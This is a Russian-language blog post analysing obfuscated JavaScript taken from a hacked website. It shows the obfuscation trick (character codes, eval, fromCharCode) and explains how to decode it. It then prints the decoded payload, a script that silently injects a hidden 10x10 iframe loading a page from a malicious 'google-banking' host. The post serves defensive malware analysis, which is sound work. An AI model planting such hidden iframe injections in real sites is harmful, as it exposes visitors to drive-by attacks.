Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе 🙂 ):
08 | if (r && document.createTextNode) t = 2; |
10 | m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t]; |
11 | mm = c[ 'fro' + 'mCharCode' ]; |
12 | for (i = 0; i != m.length; i++) s += mm( e( "m" + "[" + "i" + ']' ) ); |
14 | document.appendChild( null ) |
На первый взгляд все крайне запутано и сложно, java-скрипты я пишу/читаю редко, поэтому сразу слегка даже растерялся. В причесанном коде выделил понятные места и довел все до понимания.
1 | mm = c[ 'fro' + 'mCharCode' ]; |
c – обозначает строку (String), т.е. переменной mm будет присвоена строка fromCharCode и mm будет выполнять роль этой функции.
1 | mm( e( "m" + "[" + "i" + ']' ) ); |
3 | String.fromCharCode( eval( "m[i]" ) ); |
это значит, что все арифметические выражения в массиве m будут подсчитаны, затем коды переведены в символы функцией fromCharCode и посимвольно в цикле внесены в строку s.
Результирующий код для расшифровки:
05 | m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t]; |
06 | mm = c[ 'fro' + 'mCharCode' ]; |
07 | for (i = 0; i != m.length; i++) { |
08 | s += mm( e( "m" + "[" + "i" + ']' ) ); |
12 | document.write( "<textarea>" ); |
14 | document.write( "</textarea>" ); |
N.B.
Перед тем, как использовать тег textarea, я проверил содержимое кода функцией alert, т.к. иногда хитрые скриптописатели ставят закрывающий тег </textarea> и код не выводится.
Скрипт вставлял iframe с сайта
google-banking . com/main.php?page=f8a892dc63e25f27
Полный расшифрованный код:
01 | if (document.getElementsByTagName( 'body' )[0]) { |
04 | document.write("<iframe src= 'http ://google-banking...' width= '10' height= '10' |
05 | style= 'visibility:hidden;position:absolute;left:0;top:0;' ></iframe>"); |
08 | var f = document.createElement( 'iframe' ); |
09 | f.setAttribute( 'src' , 'http ://google-banking...' ); |
10 | f.style.visibility = 'hidden' ; |
11 | f.style.position = 'absolute' ; |
14 | f.setAttribute( 'width' , '10' ); |
15 | f.setAttribute( 'height' , '10' ); |
16 | document.getElementsByTagName( 'body' )[0].appendChild( f ); |